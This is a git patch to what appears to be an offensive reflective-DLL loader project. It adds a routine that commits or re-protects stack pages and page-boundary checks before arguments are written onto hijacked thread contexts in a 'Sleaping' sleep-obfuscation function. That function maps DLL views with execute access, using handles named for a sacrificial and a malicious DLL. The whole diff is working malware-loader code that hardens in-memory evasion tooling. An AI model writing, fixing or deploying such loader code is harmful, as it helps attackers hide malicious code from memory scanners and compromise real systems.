From 96f11fef5a7701db828afd9d00b2b7ac03e17259 Mon Sep 17 00:00:00 2001 From: chengcheng <2010705797@qq.com> Date: Fri, 10 Apr 2026 13:46:51 +0800 Subject: [PATCH] fix: manual stack manipulation in sleaping() --- .../ReflectiveDLL-NG - 2025/sleaping.h | 77 +++++++++++++++++++ 1 file changed, 77 insertions(+) diff --git a/RflDllOb-NG/ReflectiveDLL-NG - 2025/sleaping.h b/RflDllOb-NG/ReflectiveDLL-NG - 2025/sleaping.h index a418524..5d037da 100644 --- a/RflDllOb-NG/ReflectiveDLL-NG - 2025/sleaping.h +++ b/RflDllOb-NG/ReflectiveDLL-NG - 2025/sleaping.h @@ -3,6 +3,48 @@ #include #include "headers.h" +/** + * Ensures that the specified stack address is committed and writable. + * * This function handles cases where manual stack manipulation (e.g., thread hijacking) + * targets an address that resides in a reserved page or a guard page, which would + * otherwise trigger an EXCEPTION_ACCESS_VIOLATION (C0000005). + */ +BOOLEAN AllocateStack(HANDLE hProcess, ULONG_PTR target_addr) { + MEMORY_BASIC_INFORMATION mbi; + + // Align the target address to the start of the 4KB page boundary. + target_addr &= ~((UINT64)0xfff); + + // 1. Query the memory region containing the target address to determine its state. + // This allows us to check if the page is already COMMITTED, RESERVED, or a GUARD page. + if (VirtualQueryEx(hProcess, (LPCVOID)target_addr, &mbi, sizeof(mbi)) == 0) { + return FALSE; + } + + // 2. Evaluate if the page requires intervention. + // Intervene if: + // - State is MEM_RESERVE: The address space is allocated but lacks physical backing. + // - Protect has PAGE_GUARD: This is a stack's growth boundary; writing here triggers a crash + // if not handled by the OS exception handler. + // - Access is not PAGE_READWRITE: The page exists but cannot be written to. + if (mbi.State != MEM_COMMIT || (mbi.Protect & PAGE_GUARD) || !(mbi.Protect & PAGE_READWRITE)) { + + // Attempt to COMMIT the memory. For the thread's stack, this converts the + // MEM_RESERVE region (allocated during CreateThread) into accessible physical memory. + if (!VirtualAllocEx(hProcess, (LPVOID)target_addr, 0x1000, MEM_COMMIT, PAGE_READWRITE)) { + + // If explicit commitment fails, attempt to strip protection flags (e.g., PAGE_GUARD) + // or upgrade permissions (e.g., from PAGE_READONLY to PAGE_READWRITE). + DWORD oldProtect; + if (!VirtualProtectEx(hProcess, (LPVOID)target_addr, 0x1000, PAGE_READWRITE, &oldProtect)) { + // Return FALSE if the address is truly invalid or access is denied by the OS kernel. + return FALSE; + } + } + } + + return TRUE; +} /*-----------------------------------------------------------*/ @@ -103,6 +145,29 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_ (*contextB).Rdx = FILE_MAP_ALL_ACCESS; (*contextB).R8 = (DWORD64)0x00; (*contextB).R9 = (DWORD64)0x00; + + /* + * PAGE BOUNDARY CHECK (Stack Extension Fix) + * ----------------------------------------- + * On x64, arguments 5 and 6 must be placed on the stack at RSP+40 and RSP+48. + * If RSP is near the end of a committed page (e.g., 0x...FFF8), adding 40 bytes + * pushes the target address into the next virtual memory page. + * + * Because this is a manual write via pointer dereferencing (not a 'push' instruction), + * the CPU does not trigger the standard 'Guard Page' exception to grow the stack. + * Instead, it hits a 'Reserved' page and triggers an EXCEPTION_ACCESS_VIOLATION. + */ + if (((contextB->Rsp + 40) >> 12) > (contextB->Rsp >> 12) || + ((contextB->Rsp + 48) >> 12) > (contextB->Rsp >> 12)) + { + // Manually commit the next page in the stack region to ensure it is writable. + // ((HANDLE)(LONG_PTR)-1) targets the current process. + if (AllocateStack((HANDLE)-1, contextB->Rsp + 40) == FALSE) + return -1; + } + + + // Now safe to write stack-based arguments (Arg 5 and Arg 6) *(ULONG_PTR*)((*contextB).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40 *(ULONG_PTR*)((*contextB).Rsp + 48) = (ULONG_PTR)ImageBaseDLL; @@ -113,6 +178,18 @@ int Sleaping(PVOID ImageBaseDLL, HANDLE sacDllHandle, HANDLE malDllHandle, SIZE_ (*contextD).Rdx = FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE; (*contextD).R8 = (DWORD64)0x00; (*contextD).R9 = (DWORD64)0x00; + + /* * Repeat page boundary verification for thread 3 stack context. + * This ensures the memory page spanning RSP+40 to RSP+48 is COMMITTED. + */ + if (((contextD->Rsp + 40) >> 12) > (contextD->Rsp >> 12) || + ((contextD->Rsp + 48) >> 12) > (contextD->Rsp >> 12)) + { + if (AllocateStack((HANDLE)-1, contextD->Rsp + 40) == FALSE) + return -1; + } + + // Write arguments to the confirmed valid memory region *(ULONG_PTR*)((*contextD).Rsp + 40) = 0x00; //the offset must be either hex 28 or int 40 *(ULONG_PTR*)((*contextD).Rsp + 48) = (ULONG_PTR)ImageBaseDLL;